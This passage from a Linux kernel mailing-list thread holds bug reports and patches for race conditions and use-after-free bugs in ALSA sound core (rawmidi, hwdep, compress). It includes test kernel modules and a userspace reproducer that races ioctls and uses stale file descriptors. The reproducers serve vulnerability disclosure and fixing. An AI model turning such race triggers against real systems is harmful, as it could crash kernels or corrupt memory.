sleep(1);
return 0;
}
static void *hwdep_thread(void *arg)
{
int fd = *(int *)arg;
struct snd_hwdep_dsp_image img;
memset(&img, 0, sizeof(img));
img.index = 0;
ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img);
return NULL;
}
static int do_hwdep_race(void)
{
pthread_t th[4];
int fd;
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwdep: %s\n", strerror(errno));
return 1;
}
for (int i = 0; i < 4; i++)
pthread_create(&th[i], NULL, hwdep_thread, &fd);
for (int i = 0; i < 4; i++)
pthread_join(th[i], NULL);
close(fd);
printf("HWDEP: 4 concurrent DSP_LOAD issued\n");
sleep(1);
return 0;
}
static int do_compress(void)
{
int fd;
fd = open("/dev/snd/comprC0D0", O_WRONLY);
if (fd < 0) {
fprintf(stderr, "open compress: %s\n", strerror(errno));
return 1;
}
printf("COMPRESS: fd open, freeing card\n");
write_free("sndcore_compress");
printf("COMPRESS: card free returned, issuing ioctl on stale fd\n");
if (ioctl(fd, 0x4300, 0) < 0)
fprintf(stderr, "ioctl stale fd: %s\n", strerror(errno));
printf("COMPRESS: ioctl returned without KASAN report\n");
close(fd);
sleep(1);
return 0;
}
static int do_rawmidi(void)
{
int fd;
fd = open("/dev/snd/midiC0D0", O_RDONLY);
if (fd < 0) {
fprintf(stderr, "open rawmidi: %s\n", strerror(errno));
return 1;
}
printf("RAWMIDI: fd open, letting flood thread run\n");
sleep(2);
printf("RAWMIDI: closing (trigger/cancel/free window)\n");
close(fd);
sleep(3);
printf("RAWMIDI: close returned, freeing card\n");
write_free("sndcore_rawmidi");
sleep(1);
return 0;
}
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "usage: %s jackfree|compress|rawmidi|hwdep|hwdep-race\n", argv[0]);
return 2;
}
if (!strcmp(argv[1], "jackfree"))
return write_free("sndcore_jack");
if (!strcmp(argv[1], "compress"))
return do_compress();
if (!strcmp(argv[1], "rawmidi"))
return do_rawmidi();
if (!strcmp(argv[1], "hwdep"))
return do_hwdep();
if (!strcmp(argv[1], "hwdep-race"))
return do_hwdep_race();
fprintf(stderr, "unknown mode %s\n", argv[1]);
return 2;
}
[-- Attachment #3: sndcore_parent.h --]
[-- Type: application/octet-stream, Size: 746 bytes --]
/* SPDX-License-Identifier: GPL-2.0 */
#ifndef SNDCORE_PARENT_H
#define SNDCORE_PARENT_H
#include <linux/device.h>
#include <sound/core.h>
static struct device *sndcore_parent;
static inline int sndcore_card_new(struct snd_card **card, const char *name)
{
int err;
sndcore_parent = root_device_register(name);
if (IS_ERR(sndcore_parent)) {
err = PTR_ERR(sndcore_parent);
sndcore_parent = NULL;
return err;
}
err = snd_card_new(sndcore_parent, 0, "sndcore", THIS_MODULE, 0, card);
if (err < 0) {
root_device_unregister(sndcore_parent);
sndcore_parent = NULL;
}
return err;
}
static inline void sndcore_parent_put(void)
{
if (sndcore_parent) {
root_device_unregister(sndcore_parent);
sndcore_parent = NULL;
}
}
#endif
[-- Attachment #4: sndcore_rawmidi.c --]
[-- Type: text/plain, Size: 3693 bytes --]
// SPDX-License-Identifier: GPL-2.0
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/atomic.h>
#include <sound/core.h>
#include <sound/rawmidi.h>
#include "sndcore_parent.h"
static struct snd_card *card;
static struct snd_rawmidi *rmidi;
static struct task_struct *flood;
static struct snd_rawmidi_substream *in_sub;
static atomic_t events = ATOMIC_INIT(0);
static unsigned char byte = 0x5a;
static int rm_open(struct snd_rawmidi_substream *s) { return 0; }
static int rm_close(struct snd_rawmidi_substream *s) { return 0; }
static void rm_trigger(struct snd_rawmidi_substream *s, int up) { }
static void rm_drain(struct snd_rawmidi_substream *s) { }
static const struct snd_rawmidi_ops rm_ops = {
.open = rm_open,
.close = rm_close,
.trigger = rm_trigger,
.drain = rm_drain,
};
static void test_event(struct snd_rawmidi_substream *s)
{
int n = atomic_inc_return(&events);
if (n < 8)
pr_info("event callback entered n=%d opened=%d\n", n, s->opened);
}
static int flood_fn(void *unused)
{
int i;
in_sub = list_first_entry(&rmidi->streams[SNDRV_RAWMIDI_STREAM_INPUT].substreams,
struct snd_rawmidi_substream, list);
for (i = 0; i < 4000 && !kthread_should_stop(); i++) {
if (READ_ONCE(in_sub->opened))
break;
msleep(5);
}
if (!READ_ONCE(in_sub->opened))
return 0;
if (in_sub->runtime)
in_sub->runtime->event = test_event;
pr_info("flood start: opened=%d runtime=%p\n", in_sub->opened, in_sub->runtime);
while (!kthread_should_stop() && READ_ONCE(in_sub->opened)) {
unsigned long flags;
if (in_sub->runtime) {
spin_lock_irqsave(&in_sub->lock, flags);
if (in_sub->runtime)
in_sub->runtime->avail = 0;
spin_unlock_irqrestore(&in_sub->lock, flags);
}
snd_rawmidi_receive(in_sub, &byte, 1);
cond_resched();
}
pr_info("flood stop: opened=%d events=%d\n", in_sub->opened, atomic_read(&events));
return 0;
}
static int free_set(const char *val, const struct kernel_param *kp)
{
if (card) {
pr_info("free: calling snd_card_free(%p)\n", card);
snd_card_free(card);
card = NULL;
}
return 0;
}
static const struct kernel_param_ops free_ops = { .set = free_set };
module_param_cb(free, &free_ops, NULL, 0200);
static int __init sndcore_rawmidi_init(void)
{
int err;
err = sndcore_card_new(&card, "sndcore_rawmidi");
if (err < 0)
return err;
pr_info("card=%p module=%p this=%p\n", card, card->module, THIS_MODULE);
if (card->module) {
pr_info("try_module_get(card->module)=%d\n", try_module_get(card->module));
module_put(card->module);
}
err = snd_rawmidi_new(card, "sndcore", 0, 0, 1, &rmidi);
if (err < 0) {
snd_card_free(card);
card = NULL;
sndcore_parent_put();
return err;
}
rmidi->info_flags = SNDRV_RAWMIDI_INFO_INPUT;
snd_rawmidi_set_ops(rmidi, SNDRV_RAWMIDI_STREAM_INPUT, &rm_ops);
err = snd_card_register(card);
if (err < 0) {
snd_card_free(card);
card = NULL;
sndcore_parent_put();
return err;
}
flood = kthread_run(flood_fn, NULL, "sndcore_flood");
if (IS_ERR(flood)) {
err = PTR_ERR(flood);
flood = NULL;
snd_card_free(card);
card = NULL;
sndcore_parent_put();
return err;
}
pr_info("rawmidi card registered: dev=%s devt=%u:%u\n",
dev_name(rmidi->dev), MAJOR(rmidi->dev->devt), MINOR(rmidi->dev->devt));
return 0;
}
static void __exit sndcore_rawmidi_exit(void)
{
if (flood) {
kthread_stop(flood);
flood = NULL;
}
if (card) {
snd_card_free(card);
card = NULL;
}
sndcore_parent_put();
}
module_init(sndcore_rawmidi_init);
module_exit(sndcore_rawmidi_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("sound/core MR-04 rawmidi event_work verifier");
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: sound: core: rawmidi input close can re-queue event_work after cancel_work_sync() (UAF)
2026-11-22 7:50 ` sound: core: rawmidi input close can re-queue event_work after cancel_work_sync() (UAF) 徐晗翔
@ 2026-11-24 14:52 ` Krzysztof Kozlowski
2026-11-25 12:45 ` [PATCH] Re: " 徐晗翔
0 siblings, 1 reply; 101+ messages in thread
From: Krzysztof Kozlowski @ 2026-11-24 14:52 UTC (permalink / raw)
To: 徐晗翔, perex, tiwai; +Cc: linux-sound, linux-kernel
On 22/11/2026 08:50, 徐晗翔 wrote:
>
> Please keep me in Cc; I am not subscribed to the lists.
Why? You never responded to any other query we asked for the last month!
Best regards,
Krzysztof
^ permalink raw reply [flat|nested] 101+ messages in thread
* [PATCH] Re: Re: sound: core: rawmidi input close can re-queue event_work after cancel_work_sync() (UAF)
2026-11-24 14:52 ` Krzysztof Kozlowski
@ 2026-11-25 12:45 ` 徐晗翔
2026-11-25 14:37 ` Takashi Iwai
0 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-11-25 12:45 UTC (permalink / raw)
To: Krzysztof Kozlowski; +Cc: perex, tiwai, linux-sound, linux-kernel
close_substream() cancelled the input event work before clearing
substream->opened, but snd_rawmidi_receive() serializes only against
the opened store: a driver that delivers input in that window
re-queued event_work after the cancellation, and the work then ran
on the runtime freed by snd_rawmidi_runtime_free() (KASAN UAF in
snd_rawmidi_input_event_work()).
Cancel the work a second time after opened is cleared and before
the runtime is freed. Also restore the per-substream disconnected
flag: snd_rawmidi_dev_disconnect() marks input substreams
disconnected under substream->lock and drains the event work, so a
driver that keeps calling snd_rawmidi_receive() after the
disconnect cannot re-queue the work either (snd_rawmidi_receive()
and snd_rawmidi_input_trigger() check the flag).
---
sound/core/rawmidi.c | 23 +++++++++++++++++++++--
include/sound/rawmidi.h | 1 +
2 files changed, 22 insertions(+), 2 deletions(-)
diff --git a/sound/core/rawmidi.c b/sound/core/rawmidi.c
--- a/sound/core/rawmidi.c
+++ b/sound/core/rawmidi.c
@@ -215,7 +215,7 @@
static void snd_rawmidi_input_trigger(struct snd_rawmidi_substream *substream, int up)
{
- if (!substream->opened)
+ if (!substream->opened || substream->disconnected)
return;
substream->ops->trigger(substream, up);
if (!up)
@@ -557,6 +557,14 @@
substream->opened = 0;
substream->append = 0;
}
+ /* Drain the input event work that a racing snd_rawmidi_receive()
+ * may have queued after the earlier cancellation in
+ * snd_rawmidi_input_trigger(): receive() serializes only against
+ * the opened=0 store above, not against the earlier cancel, so the
+ * work can be pending again here. It must not outlive the runtime
+ * free below. */
+ if (substream->stream == SNDRV_RAWMIDI_STREAM_INPUT)
+ cancel_work_sync(&substream->runtime->event_work);
substream->ops->close(substream);
if (substream->runtime->private_free)
substream->runtime->private_free(substream);
@@ -1151,7 +1159,7 @@
struct snd_rawmidi_runtime *runtime;
guard(spinlock_irqsave)(&substream->lock);
- if (!substream->opened)
+ if (!substream->opened || substream->disconnected)
return -EBADFD;
runtime = substream->runtime;
if (!runtime || !runtime->buffer) {
@@ -2065,6 +2073,17 @@
list_for_each_entry(s, &rmidi->streams[dir].substreams, list) {
if (s->runtime)
wake_up(&s->runtime->sleep);
+ /* mark input substreams disconnected and drain the
+ * event work: a driver that keeps calling
+ * snd_rawmidi_receive() after the disconnect must
+ * not re-queue the work on a runtime that the close
+ * path is about to free */
+ if (s->stream == SNDRV_RAWMIDI_STREAM_INPUT) {
+ scoped_guard(spinlock_irqsave, &s->lock)
+ s->disconnected = true;
+ if (s->runtime)
+ cancel_work_sync(&s->runtime->event_work);
+ }
}
}
diff --git a/include/sound/rawmidi.h b/include/sound/rawmidi.h
--- a/include/sound/rawmidi.h
+++ b/include/sound/rawmidi.h
@@ -84,6 +84,7 @@
int stream; /* direction */
int number; /* substream number */
bool opened; /* open flag */
+ bool disconnected; /* device disconnected flag */
bool append; /* append flag (merge more streams) */
bool active_sensing; /* send active sensing when close */
unsigned int framing; /* whether to frame input data */
--
> -----原始邮件-----
> 发件人: "Krzysztof Kozlowski" <krzk@kernel.org>
> 发送时间:2026-11-24 22:52:58 (星期二)
> 收件人: 徐晗翔 <xuhx@hust.edu.cn>, perex@perex.cz, tiwai@suse.com
> 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> 主题: Re: sound: core: rawmidi input close can re-queue event_work after cancel_work_sync() (UAF)
>
> On 22/11/2026 08:50, 徐晗翔 wrote:
> >
> > Please keep me in Cc; I am not subscribed to the lists.
>
>
> Why? You never responded to any other query we asked for the last month!
>
>
> Best regards,
> Krzysztof
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: [PATCH] Re: Re: sound: core: rawmidi input close can re-queue event_work after cancel_work_sync() (UAF)
2026-11-25 12:45 ` [PATCH] Re: " 徐晗翔
@ 2026-11-25 14:37 ` Takashi Iwai
0 siblings, 0 replies; 101+ messages in thread
From: Takashi Iwai @ 2026-11-25 14:37 UTC (permalink / raw)
To: 徐晗翔
Cc: Krzysztof Kozlowski, perex, tiwai, linux-sound, linux-kernel
On Wed, 25 Nov 2026 13:45:08 +0100,
徐晗翔 wrote:
>
> close_substream() cancelled the input event work before clearing
> substream->opened, but snd_rawmidi_receive() serializes only against
> the opened store: a driver that delivers input in that window
> re-queued event_work after the cancellation, and the work then ran
> on the runtime freed by snd_rawmidi_runtime_free() (KASAN UAF in
> snd_rawmidi_input_event_work()).
>
> Cancel the work a second time after opened is cleared and before
> the runtime is freed. Also restore the per-substream disconnected
> flag: snd_rawmidi_dev_disconnect() marks input substreams
> disconnected under substream->lock and drains the event work, so a
> driver that keeps calling snd_rawmidi_receive() after the
> disconnect cannot re-queue the work either (snd_rawmidi_receive()
> and snd_rawmidi_input_trigger() check the flag).
This should have been already addressed in the recent upstream code.
Please verify whether you still see the issue.
thanks,
Takashi
> ---
> sound/core/rawmidi.c | 23 +++++++++++++++++++++--
> include/sound/rawmidi.h | 1 +
> 2 files changed, 22 insertions(+), 2 deletions(-)
>
> diff --git a/sound/core/rawmidi.c b/sound/core/rawmidi.c
> --- a/sound/core/rawmidi.c
> +++ b/sound/core/rawmidi.c
> @@ -215,7 +215,7 @@
>
> static void snd_rawmidi_input_trigger(struct snd_rawmidi_substream *substream, int up)
> {
> - if (!substream->opened)
> + if (!substream->opened || substream->disconnected)
> return;
> substream->ops->trigger(substream, up);
> if (!up)
> @@ -557,6 +557,14 @@
> substream->opened = 0;
> substream->append = 0;
> }
> + /* Drain the input event work that a racing snd_rawmidi_receive()
> + * may have queued after the earlier cancellation in
> + * snd_rawmidi_input_trigger(): receive() serializes only against
> + * the opened=0 store above, not against the earlier cancel, so the
> + * work can be pending again here. It must not outlive the runtime
> + * free below. */
> + if (substream->stream == SNDRV_RAWMIDI_STREAM_INPUT)
> + cancel_work_sync(&substream->runtime->event_work);
> substream->ops->close(substream);
> if (substream->runtime->private_free)
> substream->runtime->private_free(substream);
> @@ -1151,7 +1159,7 @@
> struct snd_rawmidi_runtime *runtime;
>
> guard(spinlock_irqsave)(&substream->lock);
> - if (!substream->opened)
> + if (!substream->opened || substream->disconnected)
> return -EBADFD;
> runtime = substream->runtime;
> if (!runtime || !runtime->buffer) {
> @@ -2065,6 +2073,17 @@
> list_for_each_entry(s, &rmidi->streams[dir].substreams, list) {
> if (s->runtime)
> wake_up(&s->runtime->sleep);
> + /* mark input substreams disconnected and drain the
> + * event work: a driver that keeps calling
> + * snd_rawmidi_receive() after the disconnect must
> + * not re-queue the work on a runtime that the close
> + * path is about to free */
> + if (s->stream == SNDRV_RAWMIDI_STREAM_INPUT) {
> + scoped_guard(spinlock_irqsave, &s->lock)
> + s->disconnected = true;
> + if (s->runtime)
> + cancel_work_sync(&s->runtime->event_work);
> + }
> }
> }
>
> diff --git a/include/sound/rawmidi.h b/include/sound/rawmidi.h
> --- a/include/sound/rawmidi.h
> +++ b/include/sound/rawmidi.h
> @@ -84,6 +84,7 @@
> int stream; /* direction */
> int number; /* substream number */
> bool opened; /* open flag */
> + bool disconnected; /* device disconnected flag */
> bool append; /* append flag (merge more streams) */
> bool active_sensing; /* send active sensing when close */
> unsigned int framing; /* whether to frame input data */
> --
>
>
> > -----原始邮件-----
> > 发件人: "Krzysztof Kozlowski" <krzk@kernel.org>
> > 发送时间:2026-11-24 22:52:58 (星期二)
> > 收件人: 徐晗翔 <xuhx@hust.edu.cn>, perex@perex.cz, tiwai@suse.com
> > 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> > 主题: Re: sound: core: rawmidi input close can re-queue event_work after cancel_work_sync() (UAF)
> >
> > On 22/11/2026 08:50, 徐晗翔 wrote:
> > >
> > > Please keep me in Cc; I am not subscribed to the lists.
> >
> >
> > Why? You never responded to any other query we asked for the last month!
> >
> >
> > Best regards,
> > Krzysztof
^ permalink raw reply [flat|nested] 101+ messages in thread
* sound: core: hwdep DSP_LOAD check-then-act is unlocked, allowing concurrent DSP_LOAD callbacks (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (9 preceding siblings ...)
2026-11-22 7:50 ` sound: core: rawmidi input close can re-queue event_work after cancel_work_sync() (UAF) 徐晗翔
@ 2026-11-22 7:52 ` 徐晗翔
2026-11-25 12:46 ` [PATCH] " 徐晗翔
2026-11-22 7:55 ` sound: core: get_available_index() calls snd_ctl_find_id() without controls_rwsem (UAF risk) 徐晗翔
` (30 subsequent siblings)
41 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-11-22 7:52 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 4919 bytes --]
snd_hwdep_dsp_load() in sound/core/hwdep.c checks the
hw->dsp_loaded bit and then calls hw->ops.dsp_load() without holding a
lock. Two threads that share the same hwdep file descriptor (dup() or
fork()) can both pass the check and run the driver's dsp_load callback
concurrently; both then set the same bit. Upstream serializes the whole
check-and-load operation with a per-device dsp_mutex, which this tree
does not have at all: struct snd_hwdep has no dsp_mutex field,
snd_hwdep_new() does not initialize it, and snd_hwdep_dsp_load() has no
guard.
The driver callback is not required to be thread-safe. In-tree, the
usx2y driver's snd_usx2y_hwdep_dsp_load() calls usx2y_create_alsa_devices()
for index 1; that path registers ALSA devices and initializes URBs, and
usx2y_async_seq04_init()/usx2y_in04_init() use a non-atomic
WARN_ON(usx2y->as04.buffer) / WARN_ON(usx2y->in04_urb) check-then-act.
Concurrent DSP_LOAD can therefore duplicate device registration and
allocate/overwrite the same buffer/URB pointers, with double-free or
use-after-free consequences in the driver.
I reproduced the unlocked check on Linux 7.3 with a test hwdep device
whose dsp_load callback sleeps 300 ms and tracks concurrency. Four
threads sharing one fd issue SNDRV_HWDEP_IOCTL_DSP_LOAD; the log shows
active=1,2,3,4 in the callback (max_active=4). hw->exclusive only
guards open(), not concurrent ioctl() on an already-open fd. This run
did not produce a KASAN report because the callback is synthetic; the
proven claim is the broken mutual exclusion, with the usx2y consequence
argued from code.
The detailed description:
* Test environment / affected version
Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC,
vanilla 7.3 source, KASAN, QEMU/KVM x86_64 (4 vCPU, 4 GB).
CONFIG_SND_HWDEP=y. Version line in evidence/kernel-version.txt.
* Root cause
sound/core/hwdep.c:206-222 (snd_hwdep_dsp_load):
if (hw->dsp_loaded & (1u << index))
return -EBUSY;
err = hw->ops.dsp_load(hw, &info);
if (err < 0)
return err;
hw->dsp_loaded |= (1u << index);
No lock covers the test, the callback and the bit update. Upstream
has guard(mutex)(&hw->dsp_mutex) around this sequence, and struct
snd_hwdep contains dsp_mutex; in this tree the field, the
mutex_init() in snd_hwdep_new() and the guard are all absent.
The ioctl path sound/core/hwdep.c:236-252 does not take open_mutex
around snd_hwdep_dsp_load(); open_mutex is held only by
snd_hwdep_open() for the exclusive/wait logic. hw->exclusive is a
one-time open() check, not a per-ioctl lock, and dup()/fork() share
the same struct file and hw->used without re-running open().
* Consequence in usx2y
sound/usb/usx2y/usX2Yhwdep.c:174-213
(snd_usx2y_hwdep_dsp_load) loads firmware images by index; for
index == 1 it calls usx2y_create_alsa_devices(hw->card), which
registers ALSA devices and starts the USB streams.
sound/usb/usx2y/usbusx2y.c:267-297 (usx2y_async_seq04_init) and
:299-334 (usx2y_in04_init) allocate buffers/URBs and use
WARN_ON(usx2y->as04.buffer) / WARN_ON(usx2y->in04_urb) as a
check-then-act guard; WARN_ON does not serialize. Two concurrent
index-1 loads can both allocate and overwrite these fields, and
usx2y_unlinkseq()/cleanup can then double-free or UAF them.
* Trigger model
- A hwdep device whose DSP load is performed by userspace (usx2y is
the in-tree example);
- a process opens /dev/snd/hwC*D* and dup()s the fd (or forks);
- two threads issue SNDRV_HWDEP_IOCTL_DSP_LOAD concurrently with the
same index;
- both pass the bit check and enter the driver callback.
No hardware is needed to demonstrate the unlocked check; the attached
test module does it.
* Reproducer (attached) and results on 7.3
sndcore_hwdep.c creates a card + hwdep device with hw->exclusive = 1
and a dsp_load callback that does:
atomic_inc(&active); update max_active; msleep(300); atomic_dec().
sndcore_test.c opens /dev/snd/hwC0D0 once and lets four pthreads issue
SNDRV_HWDEP_IOCTL_DSP_LOAD on that fd.
Observed :
dsp_load enter: index=0 active=1 entered=1 ...
dsp_load enter: index=0 active=2 entered=2 ...
dsp_load enter: index=0 active=3 entered=3 ...
dsp_load enter: index=0 active=4 entered=4 ...
HWDEP: 4 concurrent DSP_LOAD issued
KASAN bug count: 0
active=4 proves all four callbacks ran concurrently despite the
dsp_loaded check; the absence of KASAN is expected for a synthetic
callback and is stated as such.
* Suggested direction
Restore the upstream per-device dsp_mutex:
- add struct mutex dsp_mutex to struct snd_hwdep;
- mutex_init(&hwdep->dsp_mutex) in snd_hwdep_new();
- hold it across the dsp_loaded check, hw->ops.dsp_load() and the bit
update in snd_hwdep_dsp_load().
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: sndcore_test.c --]
[-- Type: text/plain, Size: 3216 bytes --]
// SPDX-License-Identifier: GPL-2.0
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sound/asound.h>
static int write_free(const char *mod)
{
char path[256];
int fd;
snprintf(path, sizeof(path), "/sys/module/%s/parameters/free", mod);
fd = open(path, O_WRONLY);
if (fd < 0) {
fprintf(stderr, "open %s: %s\n", path, strerror(errno));
return -1;
}
if (write(fd, "1\n", 2) != 2)
fprintf(stderr, "write %s: %s\n", path, strerror(errno));
close(fd);
return 0;
}
static int do_hwdep(void)
{
struct snd_hwdep_dsp_image img;
int fd;
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwdep: %s\n", strerror(errno));
return 1;
}
memset(&img, 0, sizeof(img));
img.index = 0;
img.length = 0;
img.image = 0;
for (int i = 0; i < 4; i++) {
if (ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img) < 0)
fprintf(stderr, "ioctl dsp_load: %s\n", strerror(errno));
}
close(fd);
printf("HWDEP: ioctl done (max_active should be >= 2)\n");
sleep(1);
return 0;
}
static void *hwdep_thread(void *arg)
{
int fd = *(int *)arg;
struct snd_hwdep_dsp_image img;
memset(&img, 0, sizeof(img));
img.index = 0;
ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img);
return NULL;
}
static int do_hwdep_race(void)
{
pthread_t th[4];
int fd;
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwdep: %s\n", strerror(errno));
return 1;
}
for (int i = 0; i < 4; i++)
pthread_create(&th[i], NULL, hwdep_thread, &fd);
for (int i = 0; i < 4; i++)
pthread_join(th[i], NULL);
close(fd);
printf("HWDEP: 4 concurrent DSP_LOAD issued\n");
sleep(1);
return 0;
}
static int do_compress(void)
{
int fd;
fd = open("/dev/snd/comprC0D0", O_WRONLY);
if (fd < 0) {
fprintf(stderr, "open compress: %s\n", strerror(errno));
return 1;
}
printf("COMPRESS: fd open, freeing card\n");
write_free("sndcore_compress");
printf("COMPRESS: card free returned, issuing ioctl on stale fd\n");
if (ioctl(fd, 0x4300, 0) < 0)
fprintf(stderr, "ioctl stale fd: %s\n", strerror(errno));
printf("COMPRESS: ioctl returned without KASAN report\n");
close(fd);
sleep(1);
return 0;
}
static int do_rawmidi(void)
{
int fd;
fd = open("/dev/snd/midiC0D0", O_RDONLY);
if (fd < 0) {
fprintf(stderr, "open rawmidi: %s\n", strerror(errno));
return 1;
}
printf("RAWMIDI: fd open, letting flood thread run\n");
sleep(2);
printf("RAWMIDI: closing (trigger/cancel/free window)\n");
close(fd);
sleep(3);
printf("RAWMIDI: close returned, freeing card\n");
write_free("sndcore_rawmidi");
sleep(1);
return 0;
}
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "usage: %s jackfree|compress|rawmidi|hwdep|hwdep-race\n", argv[0]);
return 2;
}
if (!strcmp(argv[1], "jackfree"))
return write_free("sndcore_jack");
if (!strcmp(argv[1], "compress"))
return do_compress();
if (!strcmp(argv[1], "rawmidi"))
return do_rawmidi();
if (!strcmp(argv[1], "hwdep"))
return do_hwdep();
if (!strcmp(argv[1], "hwdep-race"))
return do_hwdep_race();
fprintf(stderr, "unknown mode %s\n", argv[1]);
return 2;
}
[-- Attachment #3: sndcore_parent.h --]
[-- Type: application/octet-stream, Size: 746 bytes --]
/* SPDX-License-Identifier: GPL-2.0 */
#ifndef SNDCORE_PARENT_H
#define SNDCORE_PARENT_H
#include <linux/device.h>
#include <sound/core.h>
static struct device *sndcore_parent;
static inline int sndcore_card_new(struct snd_card **card, const char *name)
{
int err;
sndcore_parent = root_device_register(name);
if (IS_ERR(sndcore_parent)) {
err = PTR_ERR(sndcore_parent);
sndcore_parent = NULL;
return err;
}
err = snd_card_new(sndcore_parent, 0, "sndcore", THIS_MODULE, 0, card);
if (err < 0) {
root_device_unregister(sndcore_parent);
sndcore_parent = NULL;
}
return err;
}
static inline void sndcore_parent_put(void)
{
if (sndcore_parent) {
root_device_unregister(sndcore_parent);
sndcore_parent = NULL;
}
}
#endif
[-- Attachment #4: sndcore_hwdep.c --]
[-- Type: text/plain, Size: 2074 bytes --]
// SPDX-License-Identifier: GPL-2.0
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/delay.h>
#include <linux/atomic.h>
#include <sound/core.h>
#include <sound/hwdep.h>
#include "sndcore_parent.h"
static struct snd_card *card;
static struct snd_hwdep *hw;
static atomic_t active = ATOMIC_INIT(0);
static atomic_t entered = ATOMIC_INIT(0);
static int max_active;
static int free_set(const char *val, const struct kernel_param *kp)
{
if (card) {
snd_card_free(card);
card = NULL;
}
return 0;
}
static const struct kernel_param_ops free_ops = { .set = free_set };
module_param_cb(free, &free_ops, NULL, 0200);
module_param(max_active, int, 0444);
static void update_max(int v)
{
int old = READ_ONCE(max_active);
while (v > old && cmpxchg(&max_active, old, v) != old)
old = READ_ONCE(max_active);
}
static int test_dsp_load(struct snd_hwdep *h,
struct snd_hwdep_dsp_image *image)
{
int a = atomic_inc_return(&active);
int n = atomic_inc_return(&entered);
update_max(a);
pr_info("dsp_load enter: index=%u active=%d entered=%d image=%px len=%zu\n",
image->index, a, n, image->image, image->length);
msleep(300);
pr_info("dsp_load leave: index=%u active=%d\n", image->index, a);
atomic_dec(&active);
return 0;
}
static int __init sndcore_hwdep_init(void)
{
int err;
err = sndcore_card_new(&card, "sndcore_hwdep");
if (err < 0)
return err;
err = snd_hwdep_new(card, "sndcore", 0, &hw);
if (err < 0) {
snd_card_free(card);
card = NULL;
sndcore_parent_put();
return err;
}
hw->ops.dsp_load = test_dsp_load;
hw->exclusive = 1;
err = snd_card_register(card);
if (err < 0) {
snd_card_free(card);
card = NULL;
sndcore_parent_put();
return err;
}
pr_info("hwdep card registered\n");
return 0;
}
static void __exit sndcore_hwdep_exit(void)
{
if (card) {
snd_card_free(card);
card = NULL;
}
sndcore_parent_put();
}
module_init(sndcore_hwdep_init);
module_exit(sndcore_hwdep_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("sound/core MR-06 hwdep DSP_LOAD mutex verifier");
^ permalink raw reply [flat|nested] 101+ messages in thread* [PATCH] Re: sound: core: hwdep DSP_LOAD check-then-act is unlocked, allowing concurrent DSP_LOAD callbacks (UAF)
2026-11-22 7:52 ` sound: core: hwdep DSP_LOAD check-then-act is unlocked, allowing concurrent DSP_LOAD callbacks (UAF) 徐晗翔
@ 2026-11-25 12:46 ` 徐晗翔
2026-11-25 14:14 ` Takashi Iwai
0 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-11-25 12:46 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
snd_hwdep_dsp_load() checked hw->dsp_loaded, ran the driver
callback and updated the bit with no lock; two threads sharing one
hwdep fd (dup()/fork()) could both pass the check and run
hw->ops.dsp_load() concurrently -- the callback is not required to
be thread-safe (in-tree usx2y registers ALSA devices and allocates
URBs under non-atomic WARN_ON() check-then-act guards), with
double-registration / double-free / UAF consequences.
Restore the upstream per-device dsp_mutex: add the field to struct
snd_hwdep, initialize it in snd_hwdep_new() and hold it across the
dsp_loaded check, the dsp_load() callback and the bit update.
hw->exclusive only guards open(), not concurrent ioctls on an
already-open fd.
---
sound/core/hwdep.c | 11 ++++++++++-
include/sound/hwdep.h | 2 ++
2 files changed, 12 insertions(+), 1 deletion(-)
diff --git a/sound/core/hwdep.c b/sound/core/hwdep.c
--- a/sound/core/hwdep.c
+++ b/sound/core/hwdep.c
@@ -207,11 +207,19 @@
struct snd_hwdep_dsp_image *info)
{
int err;
-
+
if (! hw->ops.dsp_load)
return -ENXIO;
if (info->index >= 32)
return -EINVAL;
+ /* Serialize the whole check-and-load sequence: two threads sharing
+ * one hwdep fd (dup()/fork()) must not both pass the dsp_loaded
+ * check and run the driver callback concurrently -- the callback
+ * is not required to be thread-safe (in-tree usx2y registers
+ * devices and allocates URBs with non-atomic check-then-act
+ * guards), and both would set the same bit. hw->exclusive only
+ * guards open(), not concurrent ioctls on an already-open fd. */
+ guard(mutex)(&hw->dsp_mutex);
/* check whether the dsp was already loaded */
if (hw->dsp_loaded & (1u << info->index))
return -EBUSY;
@@ -380,6 +388,7 @@
init_waitqueue_head(&hwdep->open_wait);
mutex_init(&hwdep->open_mutex);
+ mutex_init(&hwdep->dsp_mutex);
hwdep->card = card;
hwdep->device = device;
if (id)
diff --git a/include/sound/hwdep.h b/include/sound/hwdep.h
--- a/include/sound/hwdep.h
+++ b/include/sound/hwdep.h
@@ -56,6 +56,8 @@
struct device *dev;
struct mutex open_mutex;
+ struct mutex dsp_mutex; /* serializes the DSP_LOAD
+ * check-and-load sequence */
int used; /* reference counter */
